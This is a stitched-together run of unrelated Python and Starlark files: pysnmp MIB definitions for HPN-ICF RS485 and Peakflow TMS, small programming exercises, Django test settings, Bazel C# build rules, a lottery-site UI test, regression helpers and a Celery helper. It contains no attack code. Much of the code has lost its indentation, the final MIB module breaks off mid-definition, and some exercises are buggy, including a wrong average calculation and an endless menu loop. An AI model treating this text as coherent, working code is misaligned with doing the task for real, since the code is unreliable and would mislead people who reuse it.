hpnicfRS485Parity = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 1, 1, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("none", 1), ("odd", 2), ("even", 3), ("mark", 4), ("space", 5))).clone('none')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: hpnicfRS485Parity.setStatus('current')
hpnicfRS485StopBits = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 1, 1, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("one", 1), ("two", 2), ("oneAndHalf", 3))).clone('one')).setUnits('bit').setMaxAccess("readwrite")
if mibBuilder.loadTexts: hpnicfRS485StopBits.setStatus('current')
hpnicfRS485FlowControl = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 1, 1, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("none", 1), ("hardware", 2), ("xonOrxoff", 3))).clone('none')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: hpnicfRS485FlowControl.setStatus('current')
hpnicfRS485TXCharacters = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 1, 1, 1, 7), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hpnicfRS485TXCharacters.setStatus('current')
hpnicfRS485RXCharacters = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 1, 1, 1, 8), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hpnicfRS485RXCharacters.setStatus('current')
hpnicfRS485TXErrCharacters = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 1, 1, 1, 9), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hpnicfRS485TXErrCharacters.setStatus('current')
hpnicfRS485RXErrCharacters = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 1, 1, 1, 10), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hpnicfRS485RXErrCharacters.setStatus('current')
hpnicfRS485ResetCharacters = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 1, 1, 1, 11), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("counting", 1), ("clear", 2))).clone('counting')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: hpnicfRS485ResetCharacters.setStatus('current')
hpnicfRS485RawSessions = MibIdentifier((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 2))
hpnicfRS485RawSessionSummary = MibIdentifier((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 2, 1))
hpnicfRS485RawSessionMaxNum = MibScalar((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 2, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 64))).setMaxAccess("readonly")
if mibBuilder.loadTexts: hpnicfRS485RawSessionMaxNum.setStatus('current')
hpnicfRS485RawSessionTable = MibTable((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 2, 2), )
if mibBuilder.loadTexts: hpnicfRS485RawSessionTable.setStatus('current')
hpnicfRS485RawSessionEntry = MibTableRow((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 2, 2, 1), ).setIndexNames((0, "IF-MIB", "ifIndex"), (0, "HPN-ICF-RS485-MIB", "hpnicfRS485SessionIndex"))
if mibBuilder.loadTexts: hpnicfRS485RawSessionEntry.setStatus('current')
hpnicfRS485SessionIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 2, 2, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 64)))
if mibBuilder.loadTexts: hpnicfRS485SessionIndex.setStatus('current')
hpnicfRS485SessionType = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 2, 2, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("udp", 1), ("tcpClient", 2), ("tcpServer", 3)))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: hpnicfRS485SessionType.setStatus('current')
hpnicfRS485SessionAddType = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 2, 2, 1, 3), InetAddressType().clone('ipv4')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: hpnicfRS485SessionAddType.setStatus('current')
hpnicfRS485SessionRemoteIP = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 2, 2, 1, 4), InetAddress()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: hpnicfRS485SessionRemoteIP.setStatus('current')
hpnicfRS485SessionRemotePort = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 2, 2, 1, 5), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1024, 65535))).setMaxAccess("readcreate")
if mibBuilder.loadTexts: hpnicfRS485SessionRemotePort.setStatus('current')
hpnicfRS485SessionLocalPort = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 2, 2, 1, 6), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1024, 65535))).setMaxAccess("readcreate")
if mibBuilder.loadTexts: hpnicfRS485SessionLocalPort.setStatus('current')
hpnicfRS485SessionStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 2, 2, 1, 7), RowStatus()).setMaxAccess("readcreate")
if mibBuilder.loadTexts: hpnicfRS485SessionStatus.setStatus('current')
hpnicfRS485RawSessionErrInfoTable = MibTable((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 2, 3), )
if mibBuilder.loadTexts: hpnicfRS485RawSessionErrInfoTable.setStatus('current')
hpnicfRS485RawSessionErrInfoEntry = MibTableRow((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 2, 3, 1), ).setIndexNames((0, "IF-MIB", "ifIndex"), (0, "HPN-ICF-RS485-MIB", "hpnicfRS485SessionIndex"))
if mibBuilder.loadTexts: hpnicfRS485RawSessionErrInfoEntry.setStatus('current')
hpnicfRS485RawSessionErrInfo = MibTableColumn((1, 3, 6, 1, 4, 1, 11, 2, 14, 11, 15, 2, 109, 2, 3, 1, 1), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: hpnicfRS485RawSessionErrInfo.setStatus('current')
mibBuilder.exportSymbols("HPN-ICF-RS485-MIB", hpnicfRS485RawSessionSummary=hpnicfRS485RawSessionSummary, hpnicfRS485StopBits=hpnicfRS485StopBits, hpnicfRS485RawSessionEntry=hpnicfRS485RawSessionEntry, hpnicfRS485RawSessionErrInfoTable=hpnicfRS485RawSessionErrInfoTable, hpnicfRS485RawSessions=hpnicfRS485RawSessions, hpnicfRS485=hpnicfRS485, PYSNMP_MODULE_ID=hpnicfRS485, hpnicfRS485SessionRemotePort=hpnicfRS485SessionRemotePort, hpnicfRS485ResetCharacters=hpnicfRS485ResetCharacters, hpnicfRS485SessionLocalPort=hpnicfRS485SessionLocalPort, hpnicfRS485RXErrCharacters=hpnicfRS485RXErrCharacters, hpnicfRS485RawSessionTable=hpnicfRS485RawSessionTable, hpnicfRS485RXCharacters=hpnicfRS485RXCharacters, hpnicfRS485SessionStatus=hpnicfRS485SessionStatus, hpnicfRS485TXErrCharacters=hpnicfRS485TXErrCharacters, hpnicfRS485PropertiesTable=hpnicfRS485PropertiesTable, hpnicfRS485PropertiesEntry=hpnicfRS485PropertiesEntry, hpnicfRS485RawSessionErrInfo=hpnicfRS485RawSessionErrInfo, hpnicfRS485Parity=hpnicfRS485Parity, hpnicfRS485TXCharacters=hpnicfRS485TXCharacters, hpnicfRS485RawSessionNextIndex=hpnicfRS485RawSessionNextIndex, hpnicfRS485RawSessionMaxNum=hpnicfRS485RawSessionMaxNum, hpnicfRS485Properties=hpnicfRS485Properties, hpnicfRS485SessionRemoteIP=hpnicfRS485SessionRemoteIP, hpnicfRS485SessionType=hpnicfRS485SessionType, hpnicfRS485SessionAddType=hpnicfRS485SessionAddType, hpnicfRS485BaudRate=hpnicfRS485BaudRate, hpnicfRS485DataBits=hpnicfRS485DataBits, hpnicfRS485FlowControl=hpnicfRS485FlowControl, hpnicfRS485RawSessionErrInfoEntry=hpnicfRS485RawSessionErrInfoEntry, hpnicfRS485SessionIndex=hpnicfRS485SessionIndex)
|
# message = 'umetumiwa kisi cha tsh2000 kutoka kwa JOSEPH ALEX salio lako ni ths 9000 kujua bonyeza *148*99# ili ' \
# 'kujiunga na salio '
# if message.strip(".islower()"):
# print(message)
# sentence = "XYThis is an example sentence.XY"
# print(message.strip(''))
number = input('enter dial codes')
if number == '*142*99#':
print('Karibu Tigo Chagua kifurushi chako')
li = ['Ofa Maalum', 'Zawadi kwa Rafiki', 'Dakika & SMS', 'Internet & 4G', 'Royal', 'Kimataifa', 'Kisichoisha Muda', 'Burudani', 'Tunashea Bando', 'Salio & Language']
for i in range(len(li)):
print(f'{i} {li[i]}')
choice = input('chagua kifurushi unachotaka')
while True:
if choice == '0':
print('your in one')
elif choice == '1':
print('your in 1')
else:
print('done')
else:
print('wrong dial')
|
dias = int(input())
ano = dias // 365
dias = dias - ano * 365
mes = dias // 30
dias = dias - mes * 30
print("%.0f ano(s)" % ano)
print("%.0f mes(es)" % mes)
print("%.0f dia(s)" % dias) |
SECRET_KEY = "secret",
INSTALLED_APPS = [
'sampleproject.sample',
]
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME':':memory:'
}
}
|
# -*- coding: utf-8 -*-
# item pipelines
#
# See documentation in:
# http://doc.scrapy.org/en/latest/topics/items.html
class ScrapydemoPipeline(object):
# item pipelines
def process_item(self, item, spider):
return item
|
'''
Min XOR value
Asked in: Booking.com
https://www.interviewbit.com/problems/min-xor-value/
Problem Setter: mihai.gheorghe Problem Tester: archit.rai
Given an integer array A of N integers, find the pair of integers in the array which have minimum XOR value. Report the minimum XOR value.
Input Format:
First and only argument of input contains an integer array A
Output Format:
return a single integer denoting minimum xor value
Constraints:
2 <= N <= 100 000
0 <= A[i] <= 1 000 000 000
For Examples :
Example Input 1:
A = [0, 2, 5, 7]
Example Output 1:
2
Explanation:
0 xor 2 = 2
Example Input 2:
A = [0, 4, 7, 9]
Example Output 2:
3
'''
# @param A : list of integers
# @return an integer
def findMinXor(A):
A = sorted(A)
min_xor = A[-1]
for i in range(1, len(A)):
xor = A[i-1]^A[i]
if min_xor>xor:
min_xor = xor
return min_xor
if __name__ == "__main__":
data = [
[[0, 2, 5, 7], 2]
]
for d in data:
print('input', d[0], 'output', findMinXor(d[0])) |
'''Crie um programa que leia nome, sexo e idade de várias pessoas, guargando os dados de cada pessoa
em um dicionário
em uma lista no final, mostre:
A) quantas pessoas foram cadastradas.
B) a média de idade do grupo
C) uma lista com todas as mulheres
D) uma lista com as pessoas com idade acima da média'''
dados = dict()
mulheres = []
acimaMedia = []
glr = list()
p = 0
c = 0
media = 0
while True:
dados.clear()
dados['nome'] = str(input('Nome: '))
dados['sexo'] = str(input('Sexo: [M/F] ')).upper()
dados['idade'] = int(input('Idade: '))
p+=1
media = dados['idade'] + dados['idade'] / len(dados)
glr.append(dados.copy())
pergunta = str(input('Deseja continuar? [S/N]')).upper().strip()[0]
if dados["sexo"] in 'Ff':
mulheres.append(dados['nome'])#Mostra a lista só com as mulheres
for c in dados:
if dados['idade'] > media:
acimaMedia.append(dados['nome'])
if pergunta == 'N':
break
print(f'No total temos {p} pessoas cadastradas!')
print(f'Á média de idade do grupo é {media:5.2f}')
print(f'As mulheres cadastradas foram {mulheres}')
print('-=-'*20)
print(f'Lista com pessoas com a idade maior do que a média {acimaMedia}')
for s in glr:
if s["idade"] >= media:
print(' ')
for k, v in s.items():
print(f'{k} = {v}; ', end='')
|
load(
"@d2l_rules_csharp//csharp/private:common.bzl",
"collect_transitive_info",
"get_analyzer_dll",
)
load("@d2l_rules_csharp//csharp/private:providers.bzl", "CSharpAssembly")
def _format_ref_arg(assembly):
return "/r:" + assembly.path
def _format_analyzer_arg(analyzer):
return "/analyzer:" + analyzer
def _format_additionalfile_arg(additionalfile):
return "/additionalfile:" + additionalfile.path
def _format_resource_arg(resource):
return "/resource:" + resource.path
def AssemblyAction(
actions,
name,
additionalfiles,
analyzers,
debug,
deps,
langversion,
resources,
srcs,
target,
target_framework,
toolchain):
out_ext = "dll" if target == "library" else "exe"
out = actions.declare_file("%s.%s" % (name, out_ext))
refout = actions.declare_file("%s.ref.%s" % (name, out_ext))
pdb = actions.declare_file(name + ".pdb")
# Our goal is to match msbuild as much as reasonable
# https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/listed-alphabetically
args = actions.args()
args.add("/unsafe-")
args.add("/checked-")
args.add("/nostdlib+") # mscorlib will get added due to our transitive deps
args.add("/utf8output")
args.add("/deterministic+")
args.add("/filealign:512")
args.add("/nologo")
args.add("/highentropyva")
args.add("/warn:0") # TODO: this stuff ought to be configurable
args.add("/target:" + target)
args.add("/langversion:" + langversion)
if debug:
args.add("/debug+")
args.add("/optimize-")
else:
args.add("/optimize+")
# TODO: .NET core projects use debug:portable. Investigate this, maybe move
# some of this into the toolchain later.
args.add("/debug:pdbonly")
# outputs
args.add("/out:" + out.path)
args.add("/refout:" + refout.path)
args.add("/pdb:" + pdb.path)
# assembly references
refs = collect_transitive_info(deps, target_framework)
args.add_all(refs, map_each = _format_ref_arg)
# analyzers
analyzer_assemblies = [get_analyzer_dll(a) for a in analyzers]
args.add_all(analyzer_assemblies, map_each = _format_analyzer_arg)
args.add_all(additionalfiles, map_each = _format_additionalfile_arg)
# .cs files
args.add_all([cs.path for cs in srcs])
# resources
args.add_all(resources, map_each = _format_resource_arg)
# TODO:
# - appconfig(?)
# - define
# * Need to audit D2L defines
# * msbuild adds some by default depending on your TF; we should too
# - doc (d2l can probably skip this?)
# - main (probably not a high priority for d2l)
# - pathmap (needed for deterministic pdbs across hosts): this will
# probably need to be done in a wrapper because of the difference between
# the analysis phase (when this code runs) and execution phase.
# - various code signing args (not needed for d2l)
# - COM-related args like /link
# - allow warnings to be configured
# - unsafe (not needed for d2l)
# - win32 args like /win32icon
# spill to a "response file" when the argument list gets too big (Bazel
# makes that call based on limitations of the OS).
args.set_param_file_format("multiline")
args.use_param_file("@%s")
# dotnet.exe csc.dll /noconfig <other csc args>
# https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/command-line-building-with-csc-exe
actions.run(
mnemonic = "CSharpCompile",
progress_message = "Compiling " + name,
inputs = depset(
direct = srcs + resources + analyzer_assemblies + additionalfiles +
[toolchain.compiler],
transitive = [refs],
),
outputs = [out, refout, pdb],
executable = toolchain.runtime,
arguments = [
toolchain.compiler.path,
# This can't go in the response file (if it does it won't be seen
# until it's too late).
"/noconfig",
args,
],
)
return CSharpAssembly[target_framework](
out = out,
refout = refout,
pdb = pdb,
deps = deps,
transitive_refs = refs,
)
|
# Топ-3 + Результаты тиража по дате + текущая дата
def test_top_3_results_draw_date_current_date(app):
app.ResultAndPrizes.open_page_results_and_prizes()
app.ResultAndPrizes.click_game_top_3()
app.ResultAndPrizes.click_the_results_of_the_draw_date()
app.ResultAndPrizes.click_ok_in_modal_window_current_date()
app.ResultAndPrizes.button_get_report_winners()
app.ResultAndPrizes.parser_report_text_winners()
assert "РЕЗУЛЬТАТЫ ТИРАЖА" in app.ResultAndPrizes.parser_report_text_winners()
app.ResultAndPrizes.message_id_33_top_3_results_draw_date_current_date()
app.ResultAndPrizes.comeback_main_page() |
"""
问题描述:给定两个有序链表的头指针head1和head2,打印两个
链表的公共部分(即链表节点的值相同的部分)
思路:由于链表有序,所以可以比较head1和head2的值进行判断
"""
class Node:
def __init__(self, value):
self.value = value
self.next = None
class PublicPart:
@classmethod
def get_public_part(cls, head1, head2):
if head1 is None or head2 is None:
return
if head1.value == head2.value:
print(head1.value, end=' ')
cls.get_public_part(head1.next, head2.next)
elif head1.value > head2.value:
cls.get_public_part(head1, head2.next)
elif head1.value < head2.value:
cls.get_public_part(head1.next, head2)
if __name__ == '__main__':
cur_head1 = Node(2)
cur_head1.next = Node(3)
cur_head1.next.next = Node(5)
cur_head1.next.next.next = Node(6)
cur_head2 = Node(1)
cur_head2.next = Node(2)
cur_head2.next.next = Node(5)
cur_head2.next.next.next = Node(7)
cur_head2.next.next.next.next = Node(8)
PublicPart.get_public_part(cur_head1, cur_head2) |
# This file is part of the airslate.
#
# Copyright (c) 2021 airSlate, Inc.
#
# For the full copyright and license information, please view
# the LICENSE file that was distributed with this source code.
"""The top-level module for request models."""
|
"""
Using a read7() method that returns 7 characters from a file,
implement readN(n) which reads n characters.
For example,
given a file with the content "Hello world",
three read7() returns "Hello w", "orld" and then "".
"""
class FileReader:
def __init__(self, content: str) -> None:
self.content = content
self.index = 0
self.length = len(content)
def read7(self) -> str:
if self.index + 7 < self.length:
res = self.content[self.index:self.index + 7]
self.index += 7
else:
res = self.content[self.index:]
self.index = self.length
return res
def read_n(self, n: int) -> str:
char_count = 0
buffer = ""
res = ""
while self.index < self.length:
if char_count >= n:
res = buffer[:n]
buffer = buffer[n:]
char_count -= n
else:
buffer += self.read7()
char_count += 7
if res:
yield res
res = ""
if buffer and self.index >= self.length:
yield buffer
if __name__ == '__main__':
f = FileReader("Hello World")
assert f.read7() == "Hello W"
assert f.read7() == "orld"
assert f.read7() == ""
f = FileReader("Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod "
"tempor incididunt")
gen = f.read_n(20)
assert next(gen) == "Lorem ipsum dolor si"
assert next(gen) == "t amet, consectetur "
assert next(gen) == "adipiscing elit, sed"
assert next(gen) == " do eiusmod tempor i"
assert next(gen) == "ncididunt"
try:
next(gen)
except StopIteration:
pass
|
def get_coefficients(Xs, Ys):
if len(Xs) != len(Ys):
raise ValueError("X and Y series has different lengths")
if not isinstance(Xs[0], (int, float)) and not isinstance(Ys[0], (int, float)):
raise ValueError("X or Y are not 1D list with numbers")
n = len(Xs)
X_sum = sum(Xs)
X_squared_sum = 0
for x in Xs:
X_squared_sum += x**2
Y_sum = sum(Ys)
X_by_Y_sum = 0
for i in range(len(Xs)):
X_by_Y_sum += (Xs[i]*Ys[i])
m = float((n * X_by_Y_sum) - (X_sum * Y_sum)) / float((n * X_squared_sum) - (X_sum**2))
b = float((Y_sum * X_squared_sum) - (X_sum * X_by_Y_sum)) / float((n * X_squared_sum) - (X_sum**2))
return m, b
def r_correlation(Xs, Ys):
if len(Xs) != len(Ys):
raise ValueError("X and Y series has different lengths")
if not isinstance(Xs[0], (int, float)) and not isinstance(Ys[0], (int, float)):
raise ValueError("X or Y are not 1D list with numbers")
n = len(Xs)
X_sum = sum(Xs)
X_squared_sum = 0.0
for x in Xs:
X_squared_sum += x**2
Y_sum = sum(Ys)
Y_squared_sum = 0.0
for y in Ys:
Y_squared_sum += y**2
X_by_Y_sum = 0.0
for i in range(len(Xs)):
X_by_Y_sum += (Xs[i]*Ys[i])
r_numerator = (n * X_by_Y_sum) - (X_sum * Y_sum)
r_denominator = ( (n * X_squared_sum) - (X_sum**2) ) * ( (n * Y_squared_sum) - (Y_sum ** 2) )
r_denominator = pow(r_denominator, 0.5)
return float(r_numerator) / float(r_denominator)
def r2_correlation(Xs, Ys):
return pow(r_correlation(Xs, Ys), 2) |
def init_celery(app, celery):
"""Configure celery.Task to run within app context."""
class ContextTask(celery.Task):
def __call__(self, *args, **kwargs):
with app.app_context():
return self.run(*args, **kwargs)
celery.Task = ContextTask
|
class Solution:
def deleteNode(self, node):
"""
:type node: ListNode
:rtype: void Do not return anything, modify node in-place instead.
"""
node.val = node.next.val
node.next = node.next.next |
s = "Guido van Rossum heeft programmeertaal Python bedacht."
for letter in s:
if letter in 'aeiou':
print(letter)
|
class stub:
def __init__(self, root):
self.dirmap = {root:[]}
self.state = 'stopped'
def mkdir(self, containing_dir, name):
self.dirmap[containing_dir] += [name]
path = containing_dir + '/' + name
self.dirmap[path] = []
return path
def add_file(self, containing_dir, name):
self.dirmap[containing_dir] += [name]
def query_play_state(self):
return self.state
def listdir(self, path):
return self.dirmap[path]
def isdir(self, path):
return path in self.dirmap
def launch_player(self, path):
self.state = 'playing'
def pause_player(self):
self.state = 'paused'
def stop_player(self):
self.state = 'stopped'
def rewind_player(self):
pass
def resume_player(self):
self.state = 'playing'
|
#
# PySNMP MIB module PEAKFLOW-TMS-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/PEAKFLOW-TMS-MIB
# Produced by pysmi-0.3.4 at Wed May 1 14:40:01 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
arbornetworksProducts, = mibBuilder.importSymbols("ARBOR-SMI", "arbornetworksProducts")
Integer, ObjectIdentifier, OctetString = mibBuilder.importSymbols("ASN1", "Integer", "ObjectIdentifier", "OctetString")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ConstraintsIntersection, SingleValueConstraint, ConstraintsUnion, ValueSizeConstraint, ValueRangeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsIntersection", "SingleValueConstraint", "ConstraintsUnion", "ValueSizeConstraint", "ValueRangeConstraint")
ifName, = mibBuilder.importSymbols("IF-MIB", "ifName")
Ipv6AddressPrefix, Ipv6Address = mibBuilder.importSymbols("IPV6-TC", "Ipv6AddressPrefix", "Ipv6Address")
NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance")
sysName, = mibBuilder.importSymbols("SNMPv2-MIB", "sysName")
Integer32, Bits, ObjectIdentity, ModuleIdentity, MibScalar, MibTable, MibTableRow, MibTableColumn, Gauge32, NotificationType, Counter64, Unsigned32, iso, MibIdentifier, TimeTicks, Counter32, IpAddress = mibBuilder.importSymbols("SNMPv2-SMI", "Integer32", "Bits", "ObjectIdentity", "ModuleIdentity", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "Gauge32", "NotificationType", "Counter64", "Unsigned32", "iso", "MibIdentifier", "TimeTicks", "Counter32", "IpAddress")
TextualConvention, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "DisplayString")
peakflowTmsMIB = ModuleIdentity((1, 3, 6, 1, 4, 1, 9694, 1, 5))
peakflowTmsMIB.setRevisions(('2013-08-19 00:00', '2012-03-29 12:00', '2012-01-12 12:00', '2011-06-14 16:00', '2011-06-03 16:00', '2011-06-03 00:00', '2011-05-23 00:00', '2011-01-21 00:00', '2010-10-28 00:00', '2010-09-07 00:00', '2009-05-27 00:00', '2009-05-08 00:00', '2009-03-11 00:00', '2009-02-13 00:00', '2008-11-13 00:00', '2008-04-07 00:00', '2007-11-20 00:00', '2007-04-27 00:00',))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
if mibBuilder.loadTexts: peakflowTmsMIB.setRevisionsDescriptions(('Updated contact information', 'Bug#50908: Fix reversed tmsSpCommunication enumerations.', 'Added tmsSystemPrefixesOk and tmsSystemPrefixesMissing traps.', 'Fix stray quote that was causing a syntax error.', 'Added performnace traps.', 'Fixed some typos and grammar problems.', 'Added IPv6 versions of existing IPv4 objects.', 'Added new traps (tmsAutomitigationBgp {Enabled/Disabled/Suspended}) for traffic-triggered automitigation BGP announcements.', 'Added new traps (tmsSpCommunicationDown and tmsSpCommunicationUp) for alerting about failed communication with Peakflow SP.', 'Added new traps (tmsFilesystemCritical and tmsFilesystemNominal) for new filesystem monitoring feature.', 'The March 11 2009 revision had accidentally obsoleted the tmsHostFault OID, rather than the hostFault trap. This is now fixed. The tmsHostFault OID is restored to current status and the hostFault trap is marked obsolete.', 'Update contact group name and company address.', 'Obsoleted the tmsHostFault trap.', 'Added new objects to support TMS 5.0', 'Update contact info.', "Prefixed Textual Conventions with 'Tms' for uniqueness", 'Removed unused Textual Conventions, added display hints', 'Initial revision',))
if mibBuilder.loadTexts: peakflowTmsMIB.setLastUpdated('201308190000Z')
if mibBuilder.loadTexts: peakflowTmsMIB.setOrganization('Arbor Networks, Inc.')
if mibBuilder.loadTexts: peakflowTmsMIB.setContactInfo(' Arbor Networks, Inc. Arbor Technical Assistance Center Postal: 76 Blanchard Road Burlington, MA 01803 USA Tel: +1 866 212 7267 (toll free) +1 781 362 4300 Email: support@arbor.net ')
if mibBuilder.loadTexts: peakflowTmsMIB.setDescription('Peakflow TMS MIB')
class TmsTableIndex(TextualConvention, Integer32):
description = 'Used for an index into a table'
status = 'current'
displayHint = 'd'
subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(1, 2147483647)
class TmsTableIndexOrZero(TextualConvention, Integer32):
description = 'The number of items in a table. May be zero if the table is empty.'
status = 'current'
displayHint = 'd'
subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 2147483647)
class TmsPercentage(TextualConvention, Integer32):
description = 'A percentage value (0% - 100%)'
status = 'current'
displayHint = 'd'
subtypeSpec = Integer32.subtypeSpec + ValueRangeConstraint(0, 100)
class TmsHundredths(TextualConvention, Integer32):
description = 'An integer representing hundredths of a unit'
status = 'current'
displayHint = 'd-2'
peakflowTmsMgr = MibIdentifier((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2))
tmsHostFault = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 1), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsHostFault.setStatus('current')
if mibBuilder.loadTexts: tmsHostFault.setDescription('state of faults within a TMS device')
tmsHostUpTime = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 2), TimeTicks()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsHostUpTime.setStatus('current')
if mibBuilder.loadTexts: tmsHostUpTime.setDescription('uptime of this host')
deviceCpuLoadAvg1min = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 3), TmsHundredths()).setMaxAccess("readonly")
if mibBuilder.loadTexts: deviceCpuLoadAvg1min.setStatus('current')
if mibBuilder.loadTexts: deviceCpuLoadAvg1min.setDescription('Average number of processes in run queue during last 1 min.')
deviceCpuLoadAvg5min = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 4), TmsHundredths()).setMaxAccess("readonly")
if mibBuilder.loadTexts: deviceCpuLoadAvg5min.setStatus('current')
if mibBuilder.loadTexts: deviceCpuLoadAvg5min.setDescription('Average number of processes in run queue during last 5 min.')
deviceCpuLoadAvg15min = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 5), TmsHundredths()).setMaxAccess("readonly")
if mibBuilder.loadTexts: deviceCpuLoadAvg15min.setStatus('current')
if mibBuilder.loadTexts: deviceCpuLoadAvg15min.setDescription('Average number of processes in run queue during last 15 min.')
deviceDiskUsage = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 6), TmsPercentage()).setMaxAccess("readonly")
if mibBuilder.loadTexts: deviceDiskUsage.setStatus('current')
if mibBuilder.loadTexts: deviceDiskUsage.setDescription('Percentage of primary data partition used.')
devicePhysicalMemoryUsage = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 7), TmsPercentage()).setMaxAccess("readonly")
if mibBuilder.loadTexts: devicePhysicalMemoryUsage.setStatus('current')
if mibBuilder.loadTexts: devicePhysicalMemoryUsage.setDescription('Percentage of physical memory used.')
deviceSwapSpaceUsage = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 8), TmsPercentage()).setMaxAccess("readonly")
if mibBuilder.loadTexts: deviceSwapSpaceUsage.setStatus('current')
if mibBuilder.loadTexts: deviceSwapSpaceUsage.setDescription('Percentage of swap space used.')
tmsTrapString = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 9), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsTrapString.setStatus('current')
if mibBuilder.loadTexts: tmsTrapString.setDescription('Temporary string for reporting information in traps')
tmsTrapDetail = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 10), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsTrapDetail.setStatus('current')
if mibBuilder.loadTexts: tmsTrapDetail.setDescription('Temporary string for reporting additional detail (if any) about a trap')
tmsTrapSubhostName = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 11), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsTrapSubhostName.setStatus('current')
if mibBuilder.loadTexts: tmsTrapSubhostName.setDescription('Temporary string for reporting the name of a subhost')
tmsTrapComponentName = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 12), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: tmsTrapComponentName.setStatus('current')
if mibBuilder.loadTexts: tmsTrapComponentName.setDescription('Temporary string for reporting the name of a program or device')
tmsTrapBgpPeer = MibScalar((1, 3, 6, 1, 4, 1, 9694, 1, 5, 2, 13), IpAddress()).setMaxAccess("readonly")
